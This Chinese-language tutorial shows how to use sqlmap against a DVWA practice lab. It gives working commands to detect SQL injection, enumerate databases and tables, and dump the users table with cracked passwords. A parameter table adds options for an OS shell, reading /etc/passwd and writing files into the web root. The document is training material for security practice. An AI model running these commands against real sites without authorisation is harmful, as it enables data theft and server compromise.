说明
sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过带外数据连接的方式执行操作系统命令。
安装
- 下载最新源码
1 | git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev |
- 使用方法
1 | E:\app\sqlmap-dev>python -V |
实践
之前的文章写过了DVWA通关指南-SQL-Injection-sql注入,本次采用sqlmap来实践
dwva 安全等级设置为low,在sql注入界面输入1,点击提交
- 把cookie拷贝:
security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4
- 得到发送请求的url:http://xxxxxx/DVWA-2.0.1/vulnerabilities/sqli/?id=1&Submit=Submit
- 把cookie拷贝:
默认注入
我们要以刚才发现的 ?id 为突破点,使用sqlmap 对DVWA 进行sql 注入测试,batch参数表示默认选项
1 | E:\app\sqlmap-dev>python sqlmap.py -u "http://IpAddress/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4" --batch |
发现了4个注入漏洞类型(基于布尔的盲注检测,时间的盲注检测,错误的检测,union联合查询的检测);还有一种sqlmap也支持就是堆叠查询的检测,其实就算多语句查询,多语句用;隔开
拿数据库
拿数据库信息的命令
1 | E:\app\sqlmap-dev>python sqlmap.py -u "http://IpAddress/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4" --dbs |
扫描出来了两个数据库
拿表
查看某数据库并展示所有表命令
1 | E:\app\sqlmap-dev>python sqlmap.py -u "http://IpAddress/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4" --batch -D dvwa --tables |
得到了两个表
表中列
查看某数据库某表的所有列:
1 | E:\app\sqlmap-dev>python sqlmap.py -u "http://IpAddress/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4" --batch -D dvwa -T users --columns |
得到了列数据由8个
查询数据
1 | E:\app\sqlmap-dev>python sqlmap.py -u "http://IpAddress/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=aldgnbndvch51dlisl97mvp1n4" --batch --dump -C "user_id,user,password" -T "users" -D "dvwa" |
密码被自动解密了
其他参数
参数名 | 说明 | 实例 |
---|---|---|
–data | 提交的时候要携带的参数 | sqlmap.py -u URL –data“username=a&password=a” |
–dbms | 指定注入的数据类型 | –dbms mysql |
–threads | 多线程,默认是单线程为1 | –threads=10 |
-r | post数据包 | sqlmap -r a.txt -p username 入txtpost数据包参数username进行注入 |
–sql-shell | 接获取一个sql shell | sqlmap -u url?id=11 –sql-shell |
–os-shell | 获取一个cmd shell | sqlmap -u url?id=11 -os-cmd=ipconfig |
–file-read | 读取服务器文件 | sqlmap -u http://url?id=11 –file-read=/etc/passwd |
–file-write | 写入本地文件到服务器 | qlmap -u http://url/sql.php?id=11 –file-write /test/test.txt –file-dest /var/www/html/1.txt |
- 更多参数说明可以参考这里